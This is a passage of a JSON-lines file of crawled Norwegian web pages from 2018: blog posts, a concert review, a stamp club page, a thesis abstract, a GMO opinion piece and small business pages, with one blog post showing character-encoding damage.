mer enn bra frem live. Det ble ogs\u00e5 plass til b\u00e5de gitarsolo og fuzz, fra den nevnte gitaristen, sk\u00e5ling med publikum (og oppfordring til \u00e5 kj\u00f8pe merch).\n\n\n\nI det hele tatt var dette en kveld preget av stor spilleglede og entusiasme. De Marvells var\u00a0et s\u00e6rdeles velkomment innslag p\u00e5 Klubb\u00f8ya, og viste at de er et liveband \u00e5 regne med. Og for en vokalist\\! Det er liten tvil om at De Marvells har det som skal til for \u00e5 spille p\u00e5 st\u00f8rre scener, og vel s\u00e5 det.\n\n\u00a0\n", "language": "no", "__index_level_0__": "d8a94412-da79-4a3d-aadd-e699ad886336"}
{"url": "http://tankekjor.blogg.no/1459801221__g_p_veggen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:39:50Z", "text": "## \u253c g\u0148 p\u0148 veggen\n\nDet har v\u0160rt en stille periode og jeg har v\u0160rt mye hjemme. Jo mer jeg er hjemme, jo mer fortsetter jeg \u0148 v\u0160re hjemme. Plutselig f\u00b0ler jeg meg helt l\u0148st. At jeg ikke orker eller gidder \u0148 gj\u00b0re noe. S\u0148 blir jeg plutselig sliten og mer kranglete.\u00a0\n\nJeg tror alle, syk eller frisk, g\u0148r p\u0148 veggen av det. Det er vel heller ulikt hvor fort det skjer.\n\n  \n  \nDette skrev jeg f\u00b0r jul. S\u0148 kommer v\u0148ren og alle kommer ut av hiene sine. Men jeg\u00a0poster allikevel fordi det er viktig \u0148 huske p\u0148. Jeg vet at jeg kan oppleve dette\u00a0p\u0148 v\u0148ren/sommeren ogs\u0148. En liten tur ut, en kaffekopp med en venn eller en filmkveld?\u00a0Det er ikke s\u0148 mye som skal til for \u0148 f\u0148 tilbake hverdagsgleden.\n\nOg husk:\n\n  \n\u00a0\n\nDet er fortsatt (som alltid) mye stille her p\u0148 bloggen, men jeg h\u0148per dere bruker s\u00b0kefeltet i h\u00b0yre kolonne til \u0148 s\u00b0ke dere frem til blogginnlegg med temaer dere \u00b0nsker \u0148 lese mer om.\n\nHa en fin uke, alle sammen\\!\n\n\n\n  - Skrevet 25.04.2016, 15:46 // Hverdag // 2 gledespredere\n### 2 kommentarer\n\n\n### \n\n26.04.2016 kl.10:28\n\nTusen takk for at du kommenterer. Det er alltid like stas \u2764 F\u00b0lger deg med interesse, fra et st\u0148sted som mor til en som sliter til tider. Du gir meg masse forst\u0148else for hvordan hverdagen oppleves og mestres. Ikke alltid lett og kommunisere og ikke minst forst\u0148 hva som r\u00b0rer seg i den som st\u0148r en n\u0160rme. Ser at det kanskje er lettere \u0148 \u0148pne seg for andre enn sin mor, men til tider lider jeg ogs\u0148 med. Heia, mye lyst \u0148 se frem til n\u0148, ut \u0148 g\u0148 en tur. Ha en str\u0148lende dag. :-)\n\n\n\n### Nina Emilies blogg\n\n13.05.2016 kl.09:39\n\nAnonym: Hei\\! Beklager at jeg svarer deg s\u0148 sent, men jeg m\u0148 f\u0148 takke for en hyggelig melding og s\u0148 fint at du f\u0148r noe ut av bloggen. Ha en fin dag du og :-)\n\n", "language": "no", "__index_level_0__": "7e172e27-f24f-4377-9343-0cb8e312e762"}
{"url": "https://digitalindustri.no/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:08:20Z", "text": "\n\n# **Hvem er vi?**\n\n**Digital Industri er totalleverand\u00f8r av digitale l\u00f8sninger**\n\n  - Leverer hovedsaklig hjemmesider\n  - Produserer og leverer alt fra enkle nettl\u00f8sninger til st\u00f8rre skreddersydde systemer\n  - Egenutviklet backend system som gj\u00f8r prosessen ved \u00e5 levere en hjemmeside rask og enkel, og til en meget lav pris\n\n\n# **Hvorfor velge oss?**\n\n  - **Vi gj\u00f8r ALT oppsettet for deg** \u2013 slik at du kan konsentrere deg om andre oppgaver\n  - **FRI SUPPORT**  \n    Vi har fri support p\u00e5 v\u00e5re l\u00f8sninger\n  - **ENKEL REDIGERING**  \n    Dere kan med v\u00e5r l\u00f8sning enkelt redigere, selv for dem som ikke kan s\u00e5 mye\n  - **KUNDEN ALLTID I FOKUS**  \n    Digital Industri er opptatt av \u00e5 levere et godt produkt, slik at du som kunde skal f\u00f8le deg ivaretatt p\u00e5 best mulig m\u00e5te. Vi fors\u00f8ker \u00e5 levere gode l\u00f8sninger til gode konkurransedyktige priser\n  - **PERSONLIG OPPF\u00d8LGING**  \n    Mange synes det ikke er s\u00e5 enkelt \u00e5 finne ut av alt med domene, epost, hosting, nettsideoppsett og annet. Vi gj\u00f8r alt dette for deg med registrering og annet. Du f\u00e5r en \"normal\" faktura fra oss og du trenger ikke tenke p\u00e5 betaling med kredittkort og annet som er det naturlige valget for \u00e5 opprette domener selv p\u00e5 nett\n  - **Vi \u00f8nsker sv\u00e6rt gjerne \u00e5 finne fram til en l\u00f8sning du blir forn\u00f8yd med**\n  - **Over 20 \u00e5rs bransjeerfaring\u2026**\n\n\u00a0\n**Vi i Team Digital Industri er her for deg\\!**\n\n\n\n# Trenger min bedrift en nettside/hjemmeside og hvorfor er behovet der?\n\n\u00d8nsker du at dine gamle og nye kunder skal finne informasjon om din bedrift, da m\u00e5 du ha et vindu til bedriften din og dette f\u00e5r du med en hjemmeside. Om du ikke har et vindu er det mange andre som har slike vinduer og kunden g\u00e5r da til den bedriften hvor vinduet finnes og synes.\n\nInnholdet p\u00e5 en hjemmeside \"m\u00e5\" ikke v\u00e6re en stor \"avis\", men den b\u00f8r inneholde relevant informasjon som er konkret og presis, hva du leverer av tjenester, hvem du er og hvor du befinner deg og gjerne ogs\u00e5 med noen bilder og referanser.\n\n\nDet aller viktigste for nye kunder er dine \"tjenester\", for gamle kunder er det ofte \"kontakt oss\" info.\n\n\n\n# S\u00e5 kommer sp\u00f8rsm\u00e5let, er det bortkastet penger \u00e5 ha en nettside?\n\nDe aller fleste bedrifter mener det er n\u00f8dvendig \u00e5 ha en nettside, men det finnes ogs\u00e5 noen som ikke \u00f8nsker \u00e5 bruke penger p\u00e5 det man ikke \"ser\" der og da. Effekten av en nettside hvor kunden kan se deg og komme i kontakt med deg kan ikke alltid m\u00e5les, og spesielt ikke m\u00e5les fra hva du som bedriftseier tror og f\u00f8ler er korrekt. Har du en nettside hvor informasjonen ikke kommer tydelig fram eller at den ikke synes p\u00e5 nettet, at kundene ikke finner deg, ja da b\u00f8r du gj\u00f8re noe med dette.\n\nDet er viktig at nettsiden er tilpasset mobile enheter, ettersom over halvparten bruker en mobil enhet p\u00e5 nettet. Det er ogs\u00e5 viktig at nettsiden lever litt og at du passer p\u00e5 at informasjonen som ligger p\u00e5 din nettside er oppdatert og korrekt.\n\n\n\n# Med v\u00e5r l\u00f8sning er det veldig enkelt for deg \u00e5 gj\u00f8re endringer selv, legge ut en liten nyhet og oppdatere annen relevant informasjon.\n\nV\u00e5re l\u00f8sninger er billige og du f\u00e5r en meget billig hjemmeside ettersom vi har egenutviklet l\u00f8sning, nettopp med det i bakhodet at det skal v\u00e6re enkelt og billig for din bedrift.\n\nDu f\u00e5r god kontroll p\u00e5 all info som publiseres p\u00e5 din hjemmeside, og har s\u00e5ledes oversikt over hva kunden skal finne ut om deg og ditt firma p\u00e5 din nettside.\n\nSelvf\u00f8lgelig st\u00f8tter l\u00f8sningen mobile enheter.\n\n\n\n", "language": "no", "__index_level_0__": "c946147c-420b-4a66-b8d3-3243d7252c16"}
{"url": "http://filatelist.no/finn-din-klubb/steinkjer-frimerkeklubb/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:10:47Z", "text": "## Steinkjer Frimerkeklubb\n\n\n\nSteinkjer Frimerkeklubb ble stiftet 21/3 1972. Klubben har medlemmer fra Sn\u00e5sa i nord til Levanger i s\u00f8r, og det avholdes medlemsm\u00f8ter annenhver tirsdag i klubblokalet som er p\u00e5 Steinkjer Postterminal - S\u00f8rsileiret. Lokalet \u00e5pnes kl. 18.00, og m\u00f8tene begynner kl. 19.00.\n\nKlubben har 33 hovedmedlemmer, og 9 st\u00f8ttemedlemmer. Milj\u00f8et i klubben er uh\u00f8ytidelig og avslappende. V\u00e5rt m\u00e5l er \u00e5 arbeide for medlemmenes interesse innen frimerker, brev og postkort, og dette fors\u00f8kes oppn\u00e5dd gjennom v\u00e5re medlemsm\u00f8ter og klubbauksjoner, samt medlemsbladet v\u00e5rt \"INFO-NYTT\".\n\nMan trenger ikke \u00e5 v\u00e6re \"proff\" for \u00e5 bli medlem, husk at alle har begynt engang\\! Gjennom medlemskap i klubben kan man finne likesinnede og bygge opp sine kunnskaper etterhvert. Vi \u00f8nsker alle nye medlemmer velkommen i et aktivt samlermilj\u00f8.\n\nDet byttes, kj\u00f8pes og selges frimerker og postkort, og det er klubbauksjoner/miniauksjoner p\u00e5 de fleste medlemsm\u00f8tene. Vi holder lave priser til v\u00e5re medlemmer, fortjeneste p\u00e5 disse auksjonene g\u00e5r til finansiering av nye lotter og samlinger. I tillegg arrangerer klubben offentlige \"storauksjoner\". Frimerkehefter og utvalgshefter sirkulerer blant medlemmene, slik at du i ro og mak kan sitte hjemme og plukke ut merker til samlingen din.\n\nMiniauksjoner. Vi er stadig p\u00e5 utkikk etter gode objekter, og klubben vil f\u00f8lge med p\u00e5 de store auksjonene. F\u00e5r vi tilslaget p\u00e5 en passende lot eller samling, vil det komme medlemmene til gode som objekter p\u00e5 miniauksjonene v\u00e5re.\n\n\u00a0\n**M\u00f8ter\u00a0v\u00e5ren 2018**  \n  \n\n30/1-13/2-27/2-13/3-27/3-10/4-24/4-8/5.\u00a0\n\nMiniauksjoner og bytting p\u00e5 alle medlemsm\u00f8tene.\n\nM\u00f8telokaler i Wist-bygget, Sj\u00f8fartsgt 5 B, - 2. etg. Postens kantine  \nInnkj\u00f8ring og parkering mot Fjordgt.\n\n\u00a0  \nStyret best\u00e5r av;  \n", "language": "no", "__index_level_0__": "429fd2a9-648e-4bd9-a1d6-4fd729eadb75"}
{"url": "http://www.igjerstad.no/havard-15-er-klar-tv-overfort-skiskyting-i-holmenkollen", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:10:27Z", "text": "S\u00f8ndag 25 mars 2018\n\n\n\n# H\u00e5vard (15) er klar for TV-overf\u00f8rt skiskyting i Holmenkollen\n\nH\u00e5vard S. Winterkj\u00e6r er en av tre l\u00f8pere fra Agder og Rogaland som er kvalifisert til finalen i \u00e5rets \"Young Star\" i Holmenkollen.\u00a0\n\nAv: Jan Kenneth De Bartolo - skikskyttergruppa i GIL\n\n12.03.2018\n\n  \n\nNorges Skiskytterforbund plukker hvert \u00e5r ut 30 skiskyttere i G15 og G16 og det samme i J15 og J16. Disse deltar i noe som heter Young Star, der det er samlinger og et renn i Holmenkollen. Finalerennet g\u00e5r\u00a0i Holmenkollen g\u00e5r i \u00e5r l\u00f8rdag 17. mars, samme dag som det er World Cup skiskyting der.\n\nYoung Star-rennet sendes i opptak p\u00e5 NRK, s\u00e5 f\u00f8lg med p\u00e5 TV s\u00f8ndag 18. mars da er Gjerstad IL representert i klassen G15/G16.\n\n**Totalt 60 l\u00f8pere.**  \nDette er l\u00f8pere som gjennom 6 oppsatte renn, der fire renn teller, tas ut med bakgrunn i resultater. I Agder og Rogaland er det tre plasser til sammen i G15 og G16.\n\nH\u00e5vard S. Winterkj\u00e6r har gjennom sine mange sterke prestasjoner denne sesongen kvalifisert seg som en av tre l\u00f8pere i fra Agder/Rogaland til Young Star finalen i Holmenkollen 2018. Det er en utrolig sterk prestasjon \u00e5 kvalifisere seg som 15-\u00e5ring til denne sammensl\u00e5tte klassen av 15- og 16-\u00e5ringer. H\u00e5vard m\u00f8ter de beste l\u00f8perne i fra hver region denne sesongen og det vil bli hard konkurranse da han g\u00e5r mot mange l\u00f8pere som er et \u00e5r eldre.\n\nSamme dag som H\u00e5vard starter i Young Star finalen i Holmenkollen fyller han 15 \u00e5r og vi tror nok at denne finaleplassen er en av de bedre m\u00e5tene \u00e5 feire 15 \u00e5rs dagen p\u00e5 for en meget talenfull og ivrig skiskytter i fra Gjerstad. Vi \u00f8nsker H\u00e5vard lykke til i Holmenkollen til l\u00f8rdag og vi regner med at det kommer til \u00e5 v\u00e6re mange gjersd\u00f8linger som f\u00f8lger rennet p\u00e5 NRK s\u00f8ndag 18. mars.\n\nJan Kenneth De Bartolo  \nSkiskyttergruppa i GIL.\n\n\n\n", "language": "no", "__index_level_0__": "a70e522f-1f05-48a0-9f35-cae0ca9f631e"}
{"url": "https://brage.bibsys.no/xmlui/handle/11250/2489497", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00203.warc.gz", "warc_date": "2018-03-24T23:50:31Z", "text": "##### Abstract\n\nSkolen er en viktig setting i forhold til elevenes utvikling b\u00e5de faglig, sosialt og personlig.\n\nHelse i skolen har tradisjonelt sett blitt ivaretatt av skolehelsetjenesten, hvor igangsatte tiltak\n\nofte har hatt et forebyggende perspektiv. Denne studien vektlegger settingstiln\u00e6rmingen i\n\nhelsefremmende arbeid, med f\u00f8lgende problemstillingen: \"Hva kan bidra til at l\u00e6ringsmilj\u00f8et\n\ngir elevene opplevelse av mestring?\"\n\nForm\u00e5let med denne studien har v\u00e6rt \u00e5 f\u00e5 kunnskap om hva som kjennetegner et\n\nhelsefremmende l\u00e6ringsmilj\u00f8, i lys av Antonovsky sin salutogene teori om \"opplevelse av\n\nsammenheng\" (SOC). Hensikten er \u00e5 f\u00e5 \u00f8kt kunnskap om hva elevene selv vektlegger som\n\nviktig for \u00e5 oppleve mestring. Denne kunnskapen kan v\u00e6re av betydning for \u00e5 kunne forst\u00e5\n\nhvordan et l\u00e6ringsmilj\u00f8 kan bidra til \u00e5 utvikle en sterk SOC og derigjennom fremme helse.\n\nData er hentet fra fokusgrupper med elever i alderen 11-12 \u00e5r. Utvalget besto av 31\n\nrespondenter fordelt p\u00e5 fem fokusgrupper med fem til syv deltagere. Studien er forankret i en\n\nfenomenologisk og hermeneutisk tiln\u00e6rming til det empiriske materialet.\n\nStudien viser at meningskomponenten i Antonovskys salutogene teori ble vektlagt hos\n\nelevene, gjennom deres sterke fokus p\u00e5 nytteverdien med \u00e5 g\u00e5 p\u00e5 skolen. De hadde et\n\nframtidsrettet perspektiv \u2013 \"de ville bli til noe her i livet\". Dette var en sterk motiverende\n\ndrivkraft i deres \u00f8nske om \u00e5 mestre, og \u00e5 ha en identitet som kompetente elever. Opplevelsen\n\nav tilh\u00f8righet til et fellesskap, hvor de s\u00e5 p\u00e5 hverandre som tilgjengelige ressurser, b\u00e5de faglig\n\nog sosialt, hadde stor betydning. I den sammenheng ble l\u00e6reren som motivator, gjennom\n\nanerkjennelse og positiv feedback, beskrevet som avgj\u00f8rende for elevenes engasjement og\n\nmestring. I tillegg ble begripelighets-komponenten fremhevet, ved at de stilte krav til de\n\nstrukturelle rammene. De var opptatt av at l\u00e6rer skapte arbeidsro og en skoledag preget av\n\nforutsigbarhet, hvor ogs\u00e5 deres mulighet til medvirkning og autonomi ble i varetatt.\n\nOpplevelse av tilh\u00f8righet, en forutsigbar skolehverdag og opplevelse av skoledagen som\n\nmeningsfull, gjennom gode relasjoner og forst\u00e5else for nytteverdien, viser seg \u00e5 v\u00e6re viktige\n\nkomponenter for opplevelse av mestring og sammenheng.\n\n", "language": "no", "__index_level_0__": "0918799e-994e-4886-acac-5bbf2c2f6ef0"}
{"url": "http://www.utviklingsfondet.no/nyheter/dynka-i-roundup", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00791.warc.gz", "warc_date": "2018-03-24T23:37:02Z", "text": "\n\n# Dynka i Roundup\n\n Publisert: 13. March 2012  Tekst: Bell Batta Torheim, programkoordinator i Utviklingsfondet.  \n\n\n\nUtviklingsfondet er med i Nettverk for GMO-fri mat og f\u00f4r.\n\nP\u00e5 fjerde \u00e5ret vurderer regjeringen om den skal bli den f\u00f8rste til \u00e5 godkjenne genmodifisert mat i Norge. Saken kan beskrives b\u00e5de komplisert og enkelt.\n\nF\u00f8rste variant inkluderer alt fra sp\u00f8rsm\u00e5l om hvordan vurdere helse- og milj\u00f8risiko knyttet til selve genmodifiseringen til hvilket nasjonale handlingsrom vi har som medlemmer av Verdens handelsorganisasjon, og dermed hva slags handelspolitikk Norge \u00f8nsker f\u00f8re. Men det enkle er ofte best: hvem vil ha mais dynka i Roundup?\n\nI teorien \u00e5pner genmodifisering opp for uendelig med muligheter der artsgrensene kan overvinnes og gener med \u00f8nskede egenskaper kan flyttes fritt: en gris kan f\u00e5 et gen fra en bakterie, en tomat kan f\u00e5 et gen fra en flyndre. Likevel er det GMOer som t\u00e5ler spr\u00f8ytemidler som dominerer p\u00e5 markedet. Dette er fordelaktig for bonden som stadig tar over mer jord n\u00e5r naboer g\u00e5r konkurs eller hiver inn h\u00e5ndkleet n\u00e5r neste generasjon ikke vil ta over: st\u00f8rre areal skal produseres med mindre arbeidskraft. Bonden Troy Roush fra USA som dyrker b\u00e5de GMO soya og mais oppsummerer situasjonen slik: *\"Get big or get out \"race to the bottom.*\n\nN\u00e5r planten t\u00e5ler st\u00f8rre doser spr\u00f8ytemidler trenger ikke bonden ta hensyn til n\u00e5r spr\u00f8ytingen gj\u00f8r minst skade p\u00e5 avlingen, men kan spr\u00f8yte n\u00e5r det rammer ugraset mest. Og det er fullt mulig \u00e5 spr\u00f8yte n\u00e6rmere innh\u00f8sting med p\u00e5f\u00f8lgende \u00f8kt spr\u00f8ytemiddelrester i maten.\n\nGenmodifiserte planter som t\u00e5ler glyfosat (den aktive ingrediensen i Roundup) ser ut til \u00e5 bli innhentet av sin egen \"suksess\": p\u00e5 grunn av \u00f8kt bruk av glyfosat er n\u00e5 stadig mer ugras resistent. S\u00e5 teknologien som blei tatt i bruk for \u00e5 forenkle produksjonen blir n\u00e5 ironisk nok anbefalt \u00e5 m\u00e5tte luke for h\u00e5nd.\n\nMen om du syns luking er kjedelig, s\u00e5 blir du ogs\u00e5 tilbudt en genmodifiserte l\u00f8sning: planter som er genmodifiserte til \u00e5 t\u00e5le andre spr\u00f8ytemidler enn round up. Dow AgroScience forklarer det fortreffelige med sin genmodifiserte mais: Fordi stadig mer ugras blir resistent mot glyfosat er denne GMO-maisen viktig fordi den legger opp til bruk av andre spr\u00f8ytemidler. Men hvilke andre spr\u00f8ytemidler er det snakk om? Du nikker kanskje ikke s\u00e5 gjenkjennende n\u00e5r du h\u00f8rer isoxaflutole, glufosinat ammonium, 2,4-D og AOPP-gruppa?\n\nFellesnevneren for disse er at de er s\u00e5 skadelig at de er forbudt brukt i Norge. 2,4 D var en ingrediens i *agent orange*, del av amerikanerens beryktede kjemiske v\u00e5pen under Vietnamkrigen. Isoxaflutole tar lang tid \u00e5 bryte ned, kan lekke og akkumuleres i grunnvann og gjennom overflatevann, og er sannsynligvis kreftfremkallende hos mennesker. Glufosinat-ammonium har en helseklassifisering for b\u00e5de akutte og kroniske skadevirkninger og kan skade forplantingsevnen og er en mulig risikofaktor for fosterskade.\n\nI fjor var fire av ni GMOer som var ute p\u00e5 h\u00f8ring genmodifisert til \u00e5 t\u00e5le spr\u00f8ytemidler som er s\u00e5 skadelige at de er forbudt brukt i Norge. Av de fire GMOene som til n\u00e5 har v\u00e6rt p\u00e5 h\u00f8ring i 2012, er tre genmodifisert til \u00e5 t\u00e5le slike spr\u00f8ytemidler. Det virker ikke som om Rachel Carsons bok *\u00a0Silent Spring* har v\u00e6rt pensum for dagens molekyl\u00e6rbiologer. Da den kom ut for 50 \u00e5r siden, bidro boka sterkt til \u00f8kt bevissthet om p\u00e5virkningen av spr\u00f8ytemidler p\u00e5 naturen og medvirket til at DDT ble forbudt ti \u00e5r etter i USA\n\nVi trenger ikke \u00e5 gj\u00f8re sp\u00f8rsm\u00e5let om de to GMO-maisene som n\u00e5 ligger til vurdering s\u00e5 vanskelig. For du vil vel ikke ha mais som er dynka med Roundup?\n\n*Innlegget stod p\u00e5 trykk i Nationen 16. februar 2012.*\n\nPublisert: 13. March 2012 Tekst: Bell Batta Torheim, programkoordinator i Utviklingsfondet.  \n", "language": "no", "__index_level_0__": "81438b43-f70e-49ab-acca-47549cdd854a"}
{"url": "https://finnmarkssykehuset.no/parorende", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:53:02Z", "text": "# P\u00e5r\u00f8rende\n\n    N\u00e5r en i familien er alvorlig syk, rusavhengig eller skadet p\u00e5virkes hele familien. Barn er spesielt s\u00e5rbare og kan ha mange sp\u00f8rsm\u00e5l og bekymringer knyttet til dette.\n  - N\u00e5r mor eller far blir syk\n    \n    N\u00e5r en mor eller far blir alvorlig syk f\u00f8rer dette vanligvis til store utfordringer for den andre forelderen.\n\n  - P\u00e5r\u00f8rendes rettigheter\n    \n    Mange p\u00e5r\u00f8rende er en viktig ressurs i behandlingen og omsorgen for sine n\u00e6re, men kan ogs\u00e5 ha behov for st\u00f8tte og hjelp til \u00e5 mestre sin egen livssituasjon.\n\n  - P\u00e5r\u00f8rendesenteret\n    \n    P\u00e5r\u00f8rendesenteret er en statlig finansiert stiftelse og et nettsted for p\u00e5r\u00f8rende i Norge.\n\n", "language": "no", "__index_level_0__": "29c4f06c-bead-4850-9677-7ff89055d70e"}
{"url": "https://kostholdsveilederen.no/riktig-kosthold-ved-trening/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-24T23:07:58Z", "text": "# Riktig kosthold ved trening\n\n** 8. september 2017\n\n\n\nOptimal ern\u00e6ring er essensielt for enhver som driver med fysisk aktivitet som vil oppn\u00e5 sitt fulle potensiale. B\u00e5de idrettsut\u00f8vere og mosjonister kan ha nytte av en kostholdsplan.\n\nAlle som driver med fysisk aktivitet har individuelle n\u00e6ringsbehov alt ettersom hvilken idrett eller fysisk aktivitet en driver med, hvor ofte en trener og hvor hardt man trener. Faktorer som spiller inn for n\u00e6ringsbehovet ditt er b\u00e5de alder, kj\u00f8nn, aktivitetsniv\u00e5 p\u00e5 trening, skole, jobb eller i hverdagen og din helsestatus. For \u00e5 utnytte ditt fulle potensial ved trening vil b\u00e5de s\u00f8vn, hvile, stress, v\u00e6skeinntak og n\u00e6ringsinntak ha noe \u00e5 si. Riktig sammensetning av m\u00e5ltider, hva du spiser og n\u00e5r du spiser har ogs\u00e5 innvirkning p\u00e5 prestasjon og restitusjon.\n\n\u00a0\n**Fordeler man kan ha med en kostholdsplan ved trening**\n\n  - Raskere restitusjon etter trening eller skade\n  - Optimal styrke\n  - Bedre utholdenhet og prestasjon\n  - Bedret immunforsvar\n  - \u00d8kt konsentrasjon og fokus\n  - \u00d8kt muskelmasse\n  - Mer energi\n  - Stabilt blodsukker\n  - lavere fettprosent\n\n\u00a0\nMed en kostholdsplan fra Kostholdsveilederen vil du f\u00e5 et program som er tilpasset dine m\u00e5l, ditt energibehov, dine matpreferanser, ditt treningsprogram og din livsstil.\n\n**Hva som er inkludert i kostholdsplanen**\n\n  - Konsultasjon gjennom kartleggingsskjema p\u00e5 mail\n  - En personlig skreddersydd kostholdsplan\n  - Vanlige matvarer du finner p\u00e5 matbutikken\n  - Mange alternativ \u00e5 velge mellom s\u00e5 du f\u00e5r spist variert og kan velge det du liker\n  - Enkle middagsoppskrifter\n  - Tidspunkt for mat- og drikkeinntak\n", "language": "no", "__index_level_0__": "c29f7376-b577-47f9-b363-9f11bd065f19"}
{"url": "http://lailanc3.blogspot.com/2008/03/grnn-grnn-grnn.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:17:45Z", "text": " \n\n## Monday, March 17, 2008\n\n### Gr\u00f8nn gr\u00f8nn gr\u00f8nn....\n\nSt. Patricks dag er irenes nasjonaldag. St. Patrick er irenes nasjonalhelgen. Og - her i USA er det flere irer enn det er i Irland. Det vil si mennesker med irsk blod i \u00e5rene. (Det er like mange amerikanere med dr\u00e5per med edelt norsk blod i \u00e5rene som i Norge i dag, ca 4 millioner). Da kan man tenke seg hva slags dag dette er her\\!  \n  \nTenk deg at de farget L\u00e5gen gr\u00f8nn, at Ringnes solgte halvlitere med gr\u00f8nt innhold, at folk rundt deg gikk med gr\u00f8nne skjorter og hatter og sko og briller og...  \n  \nJeg har gr\u00f8nne \u00f8yne.. det f\u00e5r v\u00e6re bra\\!  \n  \nVi er vel enige om at den jevne amerikaner er hakket galere enn den jevne nordmann, og da kan man bare regne ut hvor gal en litt sm\u00e5gal amerikaner kan v\u00e6re\\! Ok - de farger alts\u00e5 Chicago River GR\u00d8NN\\!  \n  \nOg ja - elven blir faktisk farget gr\u00f8nn. Alt skal v\u00e6re gr\u00f8nt\\! Vi har v\u00e6rt ute blant det gr\u00f8nne i dag, og hva de pynter seg med\\!  \n  \nGr\u00f8nne solbriller formet som trekl\u00f8ver (shamrock) - gr\u00f8nne solbriller formet som \u00f8lglass\\!\\! - bukseseler (gr\u00f8nne) caps og hatter i alle fasonger, gr\u00f8nne sko..... gr\u00f8nne h\u00e5rb\u00f8yler med trekl\u00f8vere i fj\u00e6rer... det finnes ikke den ting\\!  \n  \nWikipedia har en fin artikkel om St. Patrick's day hvor en ogs\u00e5 kan lese om den gr\u00f8nne elven...  \n  \nVi har v\u00e6rt ute med gjengen i kveld - og vi m\u00e5tte jo smake p\u00e5 den gr\u00f8nne lesken - St. Pats \u00d8l\\!  \nOg den smakte som vanlig ... tynn og fin, kald og frisk\\! Jeg tror vel gutta ble litt tatt p\u00e5 senga eller noe n\u00e5r en av de lokale ungjentene kom dansende bort med sine nystj\u00e5lne bukseseler (gr\u00f8nne)\\! Hun hadde alts\u00e5 ogs\u00e5 solbriller formet som trekl\u00f8ver (gr\u00f8nne trekl\u00f8ver).  \n  \nIngen kan vel feire s\u00e5nne dager som amerikanerne. De er sm\u00e5gale, tar seg selv lite h\u00f8ytidelig, slenger seg p\u00e5 partyb\u00f8lgen og slapper av. Her nede i s\u00f8r-vest Florida, er den arbeidende gjennomsnittsamerikaneren prisgitt servicen\u00e6ringen, og lever p\u00e5 lav eller nesten minimums-l\u00f8nn og evt. drikkepenger. Da er det deilig \u00e5 kunne sl\u00e5 ut h\u00e5ret og la ting seile sin egen sj\u00f8.. eller var det sin gr\u00f8nne elv?  \n  \n  \n  \n  \n", "language": "no", "__index_level_0__": "20707246-c03e-4ac9-9c93-42262ffd6142"}
{"url": "https://norway.husse.com/hund/dry-food-for-dogs/sensitive/puppy", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-24T23:41:02Z", "text": "# Valp\n\nValper har unike n\u00e6ringsmessige behov, under oppveksten beh\u00f8ver de ekstra n\u00e6ringsstoffer, vitaminer og mineraler. Noen valper har ogs\u00e5 veldig sensitive mager, derfor har Husse utviklet en egen linje produkter for \u00e5 m\u00f8te deres behov.\n\n", "language": "no", "__index_level_0__": "bcc2eb57-310c-4d81-86af-05c91b83dcc9"}
{"url": "http://naturfotoeinarhugnes.blogspot.com/2017/04/rde-bla-og-hvite-veiser-pa-skatval.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:05:47Z", "text": "## tirsdag 18. april 2017\n\n### R\u00f8de, bl\u00e5 og hvite \"veiser\" p\u00e5 Skatval\n\n\n\n  \nR\u00f8d bl\u00e5veis (Bilde 1 - 5)\n\n\n\n  \n\n\n  \n\nHvitveis\n\n  \n\nEtter hjemkomst fra p\u00e5skeferien p\u00e5 Sunnm\u00f8re ble det litt foto av bl\u00e5veis og hvitveis 2. p\u00e5skedag.\n\n  \nDe r\u00f8de bl\u00e5veisene stod fortsatt fine i lia et sted p\u00e5 Skatval.\u00a0\n\nI \u00e5r er det ekstra mange av dem som blomstrer.\n\nLitt spesielt dette, da de r\u00f8de variantene skyldes noe genetisk, og ikke jordsmonnet.\n\n  \nDe vanlige bl\u00e5 bl\u00e5veisene fikk vi ogs\u00e5 fotografert mange av, p\u00e5 to ulike steder.\n\n  \nVi var p\u00e5 leting etter den hvite varianten av bl\u00e5veis,\u00a0\n\nmen fant dessverre ingen der det var et par som blomstret i fjor.\n\n  \nDermed m\u00e5tte vi n\u00f8ye oss med foto av vanlig hvitveis.\u00a0\n\nDenne har s\u00e5 vidt sprunget ut n\u00e5, p\u00e5 de mest solrike stedene.\n\nNaturfoto Einar Hugnes  kl. \n\n\n", "language": "no", "__index_level_0__": "6a7c464e-28d1-4d9d-b13a-ec470e181c5e"}
